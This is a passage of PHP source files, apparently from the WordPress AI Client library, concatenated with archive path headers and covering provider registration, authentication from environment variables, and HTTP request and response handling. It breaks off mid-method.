method from ProviderInterface /** @var class-string $className */ $availability = $className::availability(); return $availability->isConfigured(); } catch (InvalidArgumentException $e) { return \false; } } /** * Finds models across all available providers that support the given requirements. * * @since 0.1.0 * * @param ModelRequirements $modelRequirements The requirements to match against. * @return list List of provider models metadata that match requirements. */ public function findModelsMetadataForSupport(ModelRequirements $modelRequirements): array { $results = []; foreach ($this->registeredIdsToClassNames as $providerId => $className) { $providerResults = $this->findProviderModelsMetadataForSupport($providerId, $modelRequirements); if (!empty($providerResults)) { // Use static method from ProviderInterface /** @var class-string $className */ $providerMetadata = $className::metadata(); $results[] = new ProviderModelsMetadata($providerMetadata, $providerResults); } } return $results; } /** * Finds models within a specific available provider that support the given requirements. * * @since 0.1.0 * * @param string $idOrClassName The provider ID or class name. * @param ModelRequirements $modelRequirements The requirements to match against. * @return list List of model metadata that match requirements. */ public function findProviderModelsMetadataForSupport(string $idOrClassName, ModelRequirements $modelRequirements): array { $className = $this->resolveProviderClassName($idOrClassName); // If the provider is not configured, there is no way to use it, so it is considered unavailable. if (!$this->isProviderConfigured($className)) { return []; } $modelMetadataDirectory = $className::modelMetadataDirectory(); // Filter models that meet requirements $matchingModels = []; foreach ($modelMetadataDirectory->listModelMetadata() as $modelMetadata) { if ($modelRequirements->areMetBy($modelMetadata)) { $matchingModels[] = $modelMetadata; } } return $matchingModels; } /** * Gets a configured model instance from a provider. * * @since 0.1.0 * * @param string|class-string $idOrClassName The provider ID or class name. * @param string $modelId The model identifier. * @param ModelConfig|null $modelConfig The model configuration. * @return ModelInterface The configured model instance. * @throws InvalidArgumentException If provider or model is not found. */ public function getProviderModel(string $idOrClassName, string $modelId, ?ModelConfig $modelConfig = null): ModelInterface { $className = $this->resolveProviderClassName($idOrClassName); $modelInstance = $className::model($modelId, $modelConfig); $this->bindModelDependencies($modelInstance); return $modelInstance; } /** * Binds dependencies to a model instance. * * This method injects required dependencies such as HTTP transporter * and authentication into model instances that need them. * * @since 0.1.0 * * @param ModelInterface $modelInstance The model instance to bind dependencies to. * @return void */ public function bindModelDependencies(ModelInterface $modelInstance): void { $className = $this->resolveProviderClassName($modelInstance->providerMetadata()->getId()); if ($modelInstance instanceof WithHttpTransporterInterface) { $modelInstance->setHttpTransporter($this->getHttpTransporter()); } if ($modelInstance instanceof WithRequestAuthenticationInterface) { $requestAuthentication = $this->getProviderRequestAuthentication($className); if ($requestAuthentication !== null) { $modelInstance->setRequestAuthentication($requestAuthentication); } } } /** * Gets the class name for a registered provider (handles both ID and class name input). * * @param string|class-string $idOrClassName The provider ID or class name. * @return class-string The provider class name. * @throws InvalidArgumentException If provider is not registered. */ private function resolveProviderClassName(string $idOrClassName): string { // If it's already a class name, return it if ($this->isRegisteredClassName($idOrClassName)) { return $idOrClassName; } // If it's a registered ID, return its class name if ($this->isRegisteredId($idOrClassName)) { return $this->registeredIdsToClassNames[$idOrClassName]; } // Not found throw new InvalidArgumentException(sprintf('Provider not registered: %s', $idOrClassName)); } /** * {@inheritDoc} * * @since 0.1.0 */ public function setHttpTransporter(HttpTransporterInterface $httpTransporter): void { $this->setHttpTransporterOriginal($httpTransporter); // Make sure all registered providers have the HTTP transporter hooked up as needed. foreach ($this->registeredIdsToClassNames as $className) { $this->setHttpTransporterForProvider($className, $httpTransporter); } } /** * Sets the request authentication instance for the given provider. * * @since 0.1.0 * * @param string|class-string $idOrClassName The provider ID or class name. * @param RequestAuthenticationInterface $requestAuthentication The request authentication instance. */ public function setProviderRequestAuthentication(string $idOrClassName, RequestAuthenticationInterface $requestAuthentication): void { $className = $this->resolveProviderClassName($idOrClassName); $this->providerAuthenticationInstances[$className] = $requestAuthentication; $this->setRequestAuthenticationForProvider($className, $requestAuthentication); } /** * Gets the request authentication instance for the given provider, if set. * * @since 0.1.0 * * @param string|class-string $idOrClassName The provider ID or class name. * @return ?RequestAuthenticationInterface The request authentication instance, or null if not set. */ public function getProviderRequestAuthentication(string $idOrClassName): ?RequestAuthenticationInterface { $className = $this->resolveProviderClassName($idOrClassName); if (!isset($this->providerAuthenticationInstances[$className])) { return null; } return $this->providerAuthenticationInstances[$className]; } /** * Sets the HTTP transporter for a specific provider, hooking up its class instances. * * @since 0.1.0 * * @param class-string $className The provider class name. * @param HttpTransporterInterface $httpTransporter The HTTP transporter instance. */ private function setHttpTransporterForProvider(string $className, HttpTransporterInterface $httpTransporter): void { $availability = $className::availability(); if ($availability instanceof WithHttpTransporterInterface) { $availability->setHttpTransporter($httpTransporter); } $modelMetadataDirectory = $className::modelMetadataDirectory(); if ($modelMetadataDirectory instanceof WithHttpTransporterInterface) { $modelMetadataDirectory->setHttpTransporter($httpTransporter); } if (is_subclass_of($className, ProviderWithOperationsHandlerInterface::class)) { $operationsHandler = $className::operationsHandler(); if ($operationsHandler instanceof WithHttpTransporterInterface) { $operationsHandler->setHttpTransporter($httpTransporter); } } } /** * Sets the request authentication for a specific provider, hooking up its class instances. * * @since 0.1.0 * * @param class-string $className The provider class name. * @param RequestAuthenticationInterface $requestAuthentication The authentication instance. * * @throws InvalidArgumentException If the authentication instance is not of the expected type. */ private function setRequestAuthenticationForProvider(string $className, RequestAuthenticationInterface $requestAuthentication): void { $authenticationMethod = $className::metadata()->getAuthenticationMethod(); if ($authenticationMethod === null) { throw new InvalidArgumentException(sprintf('Provider %s does not expect any authentication, but got %s.', $className, get_class($requestAuthentication))); } $expectedClass = $authenticationMethod->getImplementationClass(); if (!$requestAuthentication instanceof $expectedClass) { throw new InvalidArgumentException(sprintf('Provider %s expects authentication of type %s, but got %s.', $className, $expectedClass, get_class($requestAuthentication))); } $availability = $className::availability(); if ($availability instanceof WithRequestAuthenticationInterface) { $availability->setRequestAuthentication($requestAuthentication); } $modelMetadataDirectory = $className::modelMetadataDirectory(); if ($modelMetadataDirectory instanceof WithRequestAuthenticationInterface) { $modelMetadataDirectory->setRequestAuthentication($requestAuthentication); } if (is_subclass_of($className, ProviderWithOperationsHandlerInterface::class)) { $operationsHandler = $className::operationsHandler(); if ($operationsHandler instanceof WithRequestAuthenticationInterface) { $operationsHandler->setRequestAuthentication($requestAuthentication); } } } /** * Creates a default request authentication instance for a provider. * * @since 0.1.0 * * @param class-string $className The provider class name. * @return ?RequestAuthenticationInterface The default request authentication instance, or null if not required or * if no credential data can be found. */ private function createDefaultProviderRequestAuthentication(string $className): ?RequestAuthenticationInterface { $providerMetadata = $className::metadata(); $providerId = $providerMetadata->getId(); $authenticationMethod = $providerMetadata->getAuthenticationMethod(); if ($authenticationMethod === null) { return null; } $authenticationClass = $authenticationMethod->getImplementationClass(); if ($authenticationClass === null) { return null; } $authenticationSchema = $authenticationClass::getJsonSchema(); // Iterate over all JSON schema object properties to try to determine the necessary authentication data. $authenticationData = []; if (isset($authenticationSchema['properties']) && is_array($authenticationSchema['properties'])) { /** @var array $details */ foreach ($authenticationSchema['properties'] as $property => $details) { $envVarName = $this->getEnvVarName($providerId, $property); // Try to get the value from environment variable or constant. $envValue = getenv($envVarName); if ($envValue === \false) { if (!defined($envVarName)) { continue; // Skip if neither environment variable nor constant is defined. } $envValue = constant($envVarName); if (!is_scalar($envValue)) { continue; } } if (isset($details['type'])) { switch ($details['type']) { case 'boolean': $authenticationData[$property] = filter_var($envValue, \FILTER_VALIDATE_BOOLEAN); break; case 'number': $authenticationData[$property] = (int) $envValue; break; case 'string': default: $authenticationData[$property] = (string) $envValue; } } else { // Default to string if no type is specified. $authenticationData[$property] = (string) $envValue; } } // If any required fields are missing, return null to avoid immediate errors. if (isset($authenticationSchema['required']) && is_array($authenticationSchema['required'])) { /** @var list $requiredProperties */ $requiredProperties = $authenticationSchema['required']; if (array_diff_key(array_flip($requiredProperties), $authenticationData)) { return null; } } } /** @var RequestAuthenticationInterface */ /** @var array $authenticationData */ return $authenticationClass::fromArray($authenticationData); } /** * Checks if the given value is a registered provider class name. * * @since 0.4.0 * * @param string $idOrClassName The value to check. * @return bool True if it's a registered class name. * @phpstan-assert-if-true class-string $idOrClassName */ private function isRegisteredClassName(string $idOrClassName): bool { return isset($this->registeredClassNamesToIds[$idOrClassName]); } /** * Checks if the given value is a registered provider ID. * * @since 0.4.0 * * @param string $idOrClassName The value to check. * @return bool True if it's a registered provider ID. */ private function isRegisteredId(string $idOrClassName): bool { return isset($this->registeredIdsToClassNames[$idOrClassName]); } /** * Converts a provider ID and field name to a constant case environment variable name. * * @since 0.1.0 * * @param string $providerId The provider ID. * @param string $field The field name. * @return string The environment variable name in CONSTANT_CASE. */ private function getEnvVarName(string $providerId, string $field): string { // Convert camelCase or kebab-case or snake_case to CONSTANT_CASE. $constantCaseProviderId = strtoupper((string) preg_replace('/([a-z])([A-Z])/', '$1_$2', str_replace('-', '_', $providerId))); $constantCaseField = strtoupper((string) preg_replace('/([a-z])([A-Z])/', '$1_$2', str_replace('-', '_', $field))); return "{$constantCaseProviderId}_{$constantCaseField}"; } } Providers/Contracts/ProviderOperationsHandlerInterface.php000064400000001522152076731310020154 0ustar00 Array of model metadata. */ public function listModelMetadata(): array; /** * Checks if metadata exists for a specific model. * * @since 0.1.0 * * @param string $modelId Model identifier. * @return bool True if metadata exists, false otherwise. */ public function hasModelMetadata(string $modelId): bool; /** * Gets metadata for a specific model. * * @since 0.1.0 * * @param string $modelId Model identifier. * @return ModelMetadata Model metadata. * @throws InvalidArgumentException If model metadata not found. */ public function getModelMetadata(string $modelId): ModelMetadata; } Providers/AbstractProvider.php000064400000010014152076731340012514 0ustar00 Cache for provider metadata per class. */ private static array $metadataCache = []; /** * @var array Cache for provider availability per class. */ private static array $availabilityCache = []; /** * @var array Cache for model metadata directory per class. */ private static array $modelMetadataDirectoryCache = []; /** * {@inheritDoc} * * @since 0.1.0 */ final public static function metadata(): ProviderMetadata { $className = static::class; if (!isset(self::$metadataCache[$className])) { self::$metadataCache[$className] = static::createProviderMetadata(); } return self::$metadataCache[$className]; } /** * {@inheritDoc} * * @since 0.1.0 */ final public static function model(string $modelId, ?ModelConfig $modelConfig = null): ModelInterface { $providerMetadata = static::metadata(); $modelMetadata = static::modelMetadataDirectory()->getModelMetadata($modelId); $model = static::createModel($modelMetadata, $providerMetadata); if ($modelConfig) { $model->setConfig($modelConfig); } return $model; } /** * {@inheritDoc} * * @since 0.1.0 */ final public static function availability(): ProviderAvailabilityInterface { $className = static::class; if (!isset(self::$availabilityCache[$className])) { self::$availabilityCache[$className] = static::createProviderAvailability(); } return self::$availabilityCache[$className]; } /** * {@inheritDoc} * * @since 0.1.0 */ final public static function modelMetadataDirectory(): ModelMetadataDirectoryInterface { $className = static::class; if (!isset(self::$modelMetadataDirectoryCache[$className])) { self::$modelMetadataDirectoryCache[$className] = static::createModelMetadataDirectory(); } return self::$modelMetadataDirectoryCache[$className]; } /** * Creates a model instance based on the given model metadata and provider metadata. * * @since 0.1.0 * * @param ModelMetadata $modelMetadata The model metadata. * @param ProviderMetadata $providerMetadata The provider metadata. * @return ModelInterface The new model instance. */ abstract protected static function createModel(ModelMetadata $modelMetadata, ProviderMetadata $providerMetadata): ModelInterface; /** * Creates the provider metadata instance. * * @since 0.1.0 * * @return ProviderMetadata The provider metadata. */ abstract protected static function createProviderMetadata(): ProviderMetadata; /** * Creates the provider availability instance. * * @since 0.1.0 * * @return ProviderAvailabilityInterface The provider availability. */ abstract protected static function createProviderAvailability(): ProviderAvailabilityInterface; /** * Creates the model metadata directory instance. * * @since 0.1.0 * * @return ModelMetadataDirectoryInterface The model metadata directory. */ abstract protected static function createModelMetadataDirectory(): ModelMetadataDirectoryInterface; } Providers/Http/DTO/RequestOptions.php000064400000014523152076731340013620 0ustar00 */ class RequestOptions extends AbstractDataTransferObject { public const KEY_TIMEOUT = 'timeout'; public const KEY_CONNECT_TIMEOUT = 'connectTimeout'; public const KEY_MAX_REDIRECTS = 'maxRedirects'; /** * @var float|null Maximum duration in seconds to wait for the full response. */ protected ?float $timeout = null; /** * @var float|null Maximum duration in seconds to wait for the initial connection. */ protected ?float $connectTimeout = null; /** * @var int|null Maximum number of redirects to follow. 0 disables redirects, null is unspecified. */ protected ?int $maxRedirects = null; /** * Sets the request timeout in seconds. * * @since 0.2.0 * * @param float|null $timeout Timeout in seconds. * @return void * * @throws InvalidArgumentException When timeout is negative. */ public function setTimeout(?float $timeout): void { $this->validateTimeout($timeout, self::KEY_TIMEOUT); $this->timeout = $timeout; } /** * Sets the connection timeout in seconds. * * @since 0.2.0 * * @param float|null $timeout Connection timeout in seconds. * @return void * * @throws InvalidArgumentException When timeout is negative. */ public function setConnectTimeout(?float $timeout): void { $this->validateTimeout($timeout, self::KEY_CONNECT_TIMEOUT); $this->connectTimeout = $timeout; } /** * Sets the maximum number of redirects to follow. * * Set to 0 to disable redirects, null for unspecified, or a positive integer * to enable redirects with a maximum count. * * @since 0.2.0 * * @param int|null $maxRedirects Maximum redirects to follow, or 0 to disable, or null for unspecified. * @return void * * @throws InvalidArgumentException When redirect count is negative. */ public function setMaxRedirects(?int $maxRedirects): void { if ($maxRedirects !== null && $maxRedirects < 0) { throw new InvalidArgumentException('Request option "maxRedirects" must be greater than or equal to 0.'); } $this->maxRedirects = $maxRedirects; } /** * Gets the request timeout in seconds. * * @since 0.2.0 * * @return float|null Timeout in seconds. */ public function getTimeout(): ?float { return $this->timeout; } /** * Gets the connection timeout in seconds. * * @since 0.2.0 * * @return float|null Connection timeout in seconds. */ public function getConnectTimeout(): ?float { return $this->connectTimeout; } /** * Checks whether redirects are allowed. * * @since 0.2.0 * * @return bool|null True when redirects are allowed (maxRedirects > 0), * false when disabled (maxRedirects = 0), * null when unspecified (maxRedirects = null). */ public function allowsRedirects(): ?bool { if ($this->maxRedirects === null) { return null; } return $this->maxRedirects > 0; } /** * Gets the maximum number of redirects to follow. * * @since 0.2.0 * * @return int|null Maximum redirects or null when not specified. */ public function getMaxRedirects(): ?int { return $this->maxRedirects; } /** * {@inheritDoc} * * @since 0.2.0 * * @return RequestOptionsArrayShape */ public function toArray(): array { $data = []; if ($this->timeout !== null) { $data[self::KEY_TIMEOUT] = $this->timeout; } if ($this->connectTimeout !== null) { $data[self::KEY_CONNECT_TIMEOUT] = $this->connectTimeout; } if ($this->maxRedirects !== null) { $data[self::KEY_MAX_REDIRECTS] = $this->maxRedirects; } return $data; } /** * {@inheritDoc} * * @since 0.2.0 */ public static function fromArray(array $array): self { $instance = new self(); if (isset($array[self::KEY_TIMEOUT])) { $instance->setTimeout((float) $array[self::KEY_TIMEOUT]); } if (isset($array[self::KEY_CONNECT_TIMEOUT])) { $instance->setConnectTimeout((float) $array[self::KEY_CONNECT_TIMEOUT]); } if (isset($array[self::KEY_MAX_REDIRECTS])) { $instance->setMaxRedirects((int) $array[self::KEY_MAX_REDIRECTS]); } return $instance; } /** * {@inheritDoc} * * @since 0.2.0 */ public static function getJsonSchema(): array { return ['type' => 'object', 'properties' => [self::KEY_TIMEOUT => ['type' => ['number', 'null'], 'minimum' => 0, 'description' => 'Maximum duration in seconds to wait for the full response.'], self::KEY_CONNECT_TIMEOUT => ['type' => ['number', 'null'], 'minimum' => 0, 'description' => 'Maximum duration in seconds to wait for the initial connection.'], self::KEY_MAX_REDIRECTS => ['type' => ['integer', 'null'], 'minimum' => 0, 'description' => 'Maximum redirects to follow. 0 disables, null is unspecified.']], 'additionalProperties' => \false]; } /** * Validates timeout values. * * @since 0.2.0 * * @param float|null $value Timeout to validate. * @param string $fieldName Field name for the error message. * * @throws InvalidArgumentException When timeout is negative. */ private function validateTimeout(?float $value, string $fieldName): void { if ($value !== null && $value < 0) { throw new InvalidArgumentException(sprintf('Request option "%s" must be greater than or equal to 0.', $fieldName)); } } } Providers/Http/DTO/ApiKeyRequestAuthentication.php000064400000004517152076731340016251 0ustar00 */ class ApiKeyRequestAuthentication extends AbstractDataTransferObject implements RequestAuthenticationInterface { public const KEY_API_KEY = 'apiKey'; /** * @var string The API key used for authentication. */ protected string $apiKey; /** * Constructor. * * @since 0.1.0 * * @param string $apiKey The API key used for authentication. */ public function __construct(string $apiKey) { $this->apiKey = $apiKey; } /** * {@inheritDoc} * * @since 0.1.0 */ public function authenticateRequest(\WordPress\AiClient\Providers\Http\DTO\Request $request): \WordPress\AiClient\Providers\Http\DTO\Request { // Add the API key to the request headers. return $request->withHeader('Authorization', 'Bearer ' . $this->apiKey); } /** * Gets the API key. * * @since 0.1.0 * * @return string The API key. */ public function getApiKey(): string { return $this->apiKey; } /** * {@inheritDoc} * * @since 0.1.0 * * @since 0.1.0 * * @return ApiKeyRequestAuthenticationArrayShape */ public function toArray(): array { return [self::KEY_API_KEY => $this->apiKey]; } /** * {@inheritDoc} * * @since 0.1.0 * * @since 0.1.0 */ public static function fromArray(array $array): self { static::validateFromArrayData($array, [self::KEY_API_KEY]); return new self($array[self::KEY_API_KEY]); } /** * {@inheritDoc} * * @since 0.1.0 */ public static function getJsonSchema(): array { return ['type' => 'object', 'properties' => [self::KEY_API_KEY => ['type' => 'string', 'title' => 'API Key', 'description' => 'The API key used for authentication.']], 'required' => [self::KEY_API_KEY]]; } } Providers/Http/DTO/Request.php000064400000030047152076731340012243 0ustar00>, * body?: string|null, * options?: RequestOptionsArrayShape * } * * @extends AbstractDataTransferObject */ class Request extends AbstractDataTransferObject { public const KEY_METHOD = 'method'; public const KEY_URI = 'uri'; public const KEY_HEADERS = 'headers'; public const KEY_BODY = 'body'; public const KEY_OPTIONS = 'options'; /** * @var HttpMethodEnum The HTTP method. */ protected HttpMethodEnum $method; /** * @var string The request URI. */ protected string $uri; /** * @var HeadersCollection The request headers. */ protected HeadersCollection $headers; /** * @var array|null The request data (for query params or form data). */ protected ?array $data = null; /** * @var string|null The request body (raw string content). */ protected ?string $body = null; /** * @var RequestOptions|null Request transport options. */ protected ?\WordPress\AiClient\Providers\Http\DTO\RequestOptions $options = null; /** * Constructor. * * @since 0.1.0 * * @param HttpMethodEnum $method The HTTP method. * @param string $uri The request URI. * @param array> $headers The request headers. * @param string|array|null $data The request data. * @param RequestOptions|null $options The request transport options. * * @throws InvalidArgumentException If the URI is empty. */ public function __construct(HttpMethodEnum $method, string $uri, array $headers = [], $data = null, ?\WordPress\AiClient\Providers\Http\DTO\RequestOptions $options = null) { if (empty($uri)) { throw new InvalidArgumentException('URI cannot be empty.'); } $this->method = $method; $this->uri = $uri; $this->headers = new HeadersCollection($headers); // Separate data and body based on type if (is_string($data)) { $this->body = $data; } elseif (is_array($data)) { $this->data = $data; } $this->options = $options; } /** * Creates a deep clone of this request. * * Clones the headers collection and request options to ensure * the cloned request is independent of the original. * The HTTP method enum is immutable and can be safely shared. * * @since 0.4.2 */ public function __clone() { // Clone headers collection $this->headers = clone $this->headers; // Clone request options if present (contains only primitives) if ($this->options !== null) { $this->options = clone $this->options; } // Note: $method is an immutable enum and can be safely shared } /** * Gets the HTTP method. * * @since 0.1.0 * * @return HttpMethodEnum The HTTP method. */ public function getMethod(): HttpMethodEnum { return $this->method; } /** * Gets the request URI. * * For GET requests with array data, appends the data as query parameters. * * @since 0.1.0 * * @return string The URI. */ public function getUri(): string { // If GET request with data, append as query parameters if ($this->method === HttpMethodEnum::GET() && $this->data !== null && !empty($this->data)) { $separator = str_contains($this->uri, '?') ? '&' : '?'; return $this->uri . $separator . http_build_query($this->data); } return $this->uri; } /** * Gets the request headers. * * @since 0.1.0 * * @return array> The headers. */ public function getHeaders(): array { return $this->headers->getAll(); } /** * Gets a specific header value. * * @since 0.1.0 * * @param string $name The header name (case-insensitive). * @return list|null The header value(s) or null if not found. */ public function getHeader(string $name): ?array { return $this->headers->get($name); } /** * Gets header values as a comma-separated string. * * @since 0.1.0 * * @param string $name The header name (case-insensitive). * @return string|null The header values as a comma-separated string, or null if not found. */ public function getHeaderAsString(string $name): ?string { return $this->headers->getAsString($name); } /** * Checks if a header exists. * * @since 0.1.0 * * @param string $name The header name (case-insensitive). * @return bool True if the header exists, false otherwise. */ public function hasHeader(string $name): bool { return $this->headers->has($name); } /** * Gets the request body. * * For GET requests, returns null. * For POST/PUT/PATCH requests: * - If body is set, returns it as-is * - If data is set and Content-Type is JSON, returns JSON-encoded data * - If data is set and Content-Type is form, returns URL-encoded data * * @since 0.1.0 * * @return string|null The body. * @throws JsonException If the data cannot be encoded to JSON. */ public function getBody(): ?string { // GET requests don't have a body if (!$this->method->hasBody()) { return null; } // If body is set, return it as-is if ($this->body !== null) { return $this->body; } // If data is set, encode based on content type if ($this->data !== null) { $contentType = $this->getContentType(); // JSON encoding if ($contentType !== null && stripos($contentType, 'application/json') !== \false) { return json_encode($this->data, \JSON_THROW_ON_ERROR); } // Default to URL encoding for forms return http_build_query($this->data); } return null; } /** * Gets the Content-Type header value. * * @since 0.1.0 * * @return string|null The Content-Type header value or null if not set. */ private function getContentType(): ?string { $values = $this->getHeader('Content-Type'); return $values !== null ? $values[0] : null; } /** * Returns a new instance with the specified header. * * @since 0.1.0 * * @param string $name The header name. * @param string|list $value The header value(s). * @return self A new instance with the header. */ public function withHeader(string $name, $value): self { $newHeaders = $this->headers->withHeader($name, $value); $new = clone $this; $new->headers = $newHeaders; return $new; } /** * Returns a new instance with the specified data. * * @since 0.1.0 * * @param string|array $data The request data. * @return self A new instance with the data. */ public function withData($data): self { $new = clone $this; if (is_string($data)) { $new->body = $data; $new->data = null; } elseif (is_array($data)) { $new->data = $data; $new->body = null; } else { $new->data = null; $new->body = null; } return $new; } /** * Gets the request data array. * * @since 0.1.0 * * @return array|null The request data array. */ public function getData(): ?array { return $this->data; } /** * Gets the request options. * * @since 0.2.0 * * @return RequestOptions|null Request transport options when configured. */ public function getOptions(): ?\WordPress\AiClient\Providers\Http\DTO\RequestOptions { return $this->options; } /** * Returns a new instance with the specified request options. * * @since 0.2.0 * * @param RequestOptions|null $options The request options to apply. * @return self A new instance with the options. */ public function withOptions(?\WordPress\AiClient\Providers\Http\DTO\RequestOptions $options): self { $new = clone $this; $new->options = $options; return $new; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function getJsonSchema(): array { return ['type' => 'object', 'properties' => [self::KEY_METHOD => ['type' => 'string', 'description' => 'The HTTP method.'], self::KEY_URI => ['type' => 'string', 'description' => 'The request URI.'], self::KEY_HEADERS => ['type' => 'object', 'additionalProperties' => ['type' => 'array', 'items' => ['type' => 'string']], 'description' => 'The request headers.'], self::KEY_BODY => ['type' => ['string'], 'description' => 'The request body.'], self::KEY_OPTIONS => \WordPress\AiClient\Providers\Http\DTO\RequestOptions::getJsonSchema()], 'required' => [self::KEY_METHOD, self::KEY_URI, self::KEY_HEADERS]]; } /** * {@inheritDoc} * * @since 0.1.0 * * @return RequestArrayShape */ public function toArray(): array { $array = [ self::KEY_METHOD => $this->method->value, self::KEY_URI => $this->getUri(), // Include query params if GET with data self::KEY_HEADERS => $this->headers->getAll(), ]; // Include body if present (getBody() handles the conversion) $body = $this->getBody(); if ($body !== null) { $array[self::KEY_BODY] = $body; } if ($this->options !== null) { $optionsArray = $this->options->toArray(); if (!empty($optionsArray)) { $array[self::KEY_OPTIONS] = $optionsArray; } } return $array; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function fromArray(array $array): self { static::validateFromArrayData($array, [self::KEY_METHOD, self::KEY_URI, self::KEY_HEADERS]); return new self(HttpMethodEnum::from($array[self::KEY_METHOD]), $array[self::KEY_URI], $array[self::KEY_HEADERS] ?? [], $array[self::KEY_BODY] ?? null, isset($array[self::KEY_OPTIONS]) ? \WordPress\AiClient\Providers\Http\DTO\RequestOptions::fromArray($array[self::KEY_OPTIONS]) : null); } /** * Creates a Request instance from a PSR-7 RequestInterface. * * @since 0.2.0 * * @param RequestInterface $psrRequest The PSR-7 request to convert. * @return self A new Request instance. * @throws InvalidArgumentException If the HTTP method is not supported. */ public static function fromPsrRequest(RequestInterface $psrRequest): self { $method = HttpMethodEnum::from($psrRequest->getMethod()); $uri = (string) $psrRequest->getUri(); // Convert PSR-7 headers to array format expected by our constructor /** @var array> $headers */ $headers = $psrRequest->getHeaders(); // Get body content $body = $psrRequest->getBody()->getContents(); $bodyOrData = !empty($body) ? $body : null; return new self($method, $uri, $headers, $bodyOrData); } } Providers/Http/DTO/Response.php000064400000013734152076731340012415 0ustar00>, * body?: string|null * } * * @extends AbstractDataTransferObject */ class Response extends AbstractDataTransferObject { public const KEY_STATUS_CODE = 'statusCode'; public const KEY_HEADERS = 'headers'; public const KEY_BODY = 'body'; /** * @var int The HTTP status code. */ protected int $statusCode; /** * @var HeadersCollection The response headers. */ protected HeadersCollection $headers; /** * @var string|null The response body. */ protected ?string $body; /** * Constructor. * * @since 0.1.0 * * @param int $statusCode The HTTP status code. * @param array> $headers The response headers. * @param string|null $body The response body. * * @throws InvalidArgumentException If the status code is invalid. */ public function __construct(int $statusCode, array $headers, ?string $body = null) { if ($statusCode < 100 || $statusCode >= 600) { throw new InvalidArgumentException('Invalid HTTP status code: ' . $statusCode); } $this->statusCode = $statusCode; $this->headers = new HeadersCollection($headers); $this->body = $body; } /** * Creates a deep clone of this response. * * Clones the headers collection to ensure the cloned * response is independent of the original. * * @since 0.4.2 */ public function __clone() { // Clone headers collection $this->headers = clone $this->headers; } /** * Gets the HTTP status code. * * @since 0.1.0 * * @return int The status code. */ public function getStatusCode(): int { return $this->statusCode; } /** * Gets the response headers. * * @since 0.1.0 * * @return array> The headers. */ public function getHeaders(): array { return $this->headers->getAll(); } /** * Gets a specific header value. * * @since 0.1.0 * * @param string $name The header name (case-insensitive). * @return list|null The header value(s) or null if not found. */ public function getHeader(string $name): ?array { return $this->headers->get($name); } /** * Gets header values as a comma-separated string. * * @since 0.1.0 * * @param string $name The header name (case-insensitive). * @return string|null The header values as a comma-separated string or null if not found. */ public function getHeaderAsString(string $name): ?string { return $this->headers->getAsString($name); } /** * Gets the response body. * * @since 0.1.0 * * @return string|null The body. */ public function getBody(): ?string { return $this->body; } /** * Checks if the response has a header. * * @since 0.1.0 * * @param string $name The header name. * @return bool True if the header exists, false otherwise. */ public function hasHeader(string $name): bool { return $this->headers->has($name); } /** * Checks if the response indicates success. * * @since 0.1.0 * * @return bool True if status code is 2xx, false otherwise. */ public function isSuccessful(): bool { return $this->statusCode >= 200 && $this->statusCode < 300; } /** * Gets the response data as an array. * * Attempts to decode the body as JSON. Returns null if the body * is empty or not valid JSON. * * @since 0.1.0 * * @return array|null The decoded data or null. */ public function getData(): ?array { if ($this->body === null || $this->body === '') { return null; } $data = json_decode($this->body, \true); if (json_last_error() !== \JSON_ERROR_NONE) { return null; } /** @var array|null $data */ return is_array($data) ? $data : null; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function getJsonSchema(): array { return ['type' => 'object', 'properties' => [self::KEY_STATUS_CODE => ['type' => 'integer', 'minimum' => 100, 'maximum' => 599, 'description' => 'The HTTP status code.'], self::KEY_HEADERS => ['type' => 'object', 'additionalProperties' => ['type' => 'array', 'items' => ['type' => 'string']], 'description' => 'The response headers.'], self::KEY_BODY => ['type' => ['string', 'null'], 'description' => 'The response body.']], 'required' => [self::KEY_STATUS_CODE, self::KEY_HEADERS]]; } /** * {@inheritDoc} * * @since 0.1.0 * * @return ResponseArrayShape */ public function toArray(): array { $data = [self::KEY_STATUS_CODE => $this->statusCode, self::KEY_HEADERS => $this->headers->getAll()]; if ($this->body !== null) { $data[self::KEY_BODY] = $this->body; } return $data; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function fromArray(array $array): self { static::validateFromArrayData($array, [self::KEY_STATUS_CODE, self::KEY_HEADERS]); return new self($array[self::KEY_STATUS_CODE], $array[self::KEY_HEADERS], $array[self::KEY_BODY] ?? null); } } Providers/Http/HttpTransporter.php000064400000025234152076731340013352 0ustar00client = $client ?: Psr18ClientDiscovery::find(); $this->requestFactory = $requestFactory ?: Psr17FactoryDiscovery::findRequestFactory(); $this->streamFactory = $streamFactory ?: Psr17FactoryDiscovery::findStreamFactory(); } /** * {@inheritDoc} * * @since 0.1.0 * @since 0.2.0 Added optional RequestOptions parameter and ClientWithOptions support. */ public function send(Request $request, ?RequestOptions $options = null): Response { $psr7Request = $this->convertToPsr7Request($request); // Merge request options with parameter options, with parameter options taking precedence $mergedOptions = $this->mergeOptions($request->getOptions(), $options); try { $hasOptions = $mergedOptions !== null; if ($hasOptions && $this->client instanceof ClientWithOptionsInterface) { $psr7Response = $this->client->sendRequestWithOptions($psr7Request, $mergedOptions); } elseif ($hasOptions && $this->isGuzzleClient($this->client)) { $psr7Response = $this->sendWithGuzzle($psr7Request, $mergedOptions); } else { $psr7Response = $this->client->sendRequest($psr7Request); } } catch (\WordPress\AiClientDependencies\Psr\Http\Client\NetworkExceptionInterface $e) { throw NetworkException::fromPsr18NetworkException($psr7Request, $e); } catch (\WordPress\AiClientDependencies\Psr\Http\Client\ClientExceptionInterface $e) { // Handle other PSR-18 client exceptions that are not network-related throw new RuntimeException(sprintf('HTTP client error occurred while sending request to %s: %s', $request->getUri(), $e->getMessage()), 0, $e); } return $this->convertFromPsr7Response($psr7Response); } /** * Merges request options with parameter options taking precedence. * * @since 0.2.0 * * @param RequestOptions|null $requestOptions Options from the Request object. * @param RequestOptions|null $parameterOptions Options passed as method parameter. * @return RequestOptions|null Merged options, or null if both are null. */ private function mergeOptions(?RequestOptions $requestOptions, ?RequestOptions $parameterOptions): ?RequestOptions { // If no options at all, return null if ($requestOptions === null && $parameterOptions === null) { return null; } // If only one set of options exists, return it if ($requestOptions === null) { return $parameterOptions; } if ($parameterOptions === null) { return $requestOptions; } // Both exist, merge them with parameter options taking precedence $merged = new RequestOptions(); // Start with request options (lower precedence) if ($requestOptions->getTimeout() !== null) { $merged->setTimeout($requestOptions->getTimeout()); } if ($requestOptions->getConnectTimeout() !== null) { $merged->setConnectTimeout($requestOptions->getConnectTimeout()); } if ($requestOptions->getMaxRedirects() !== null) 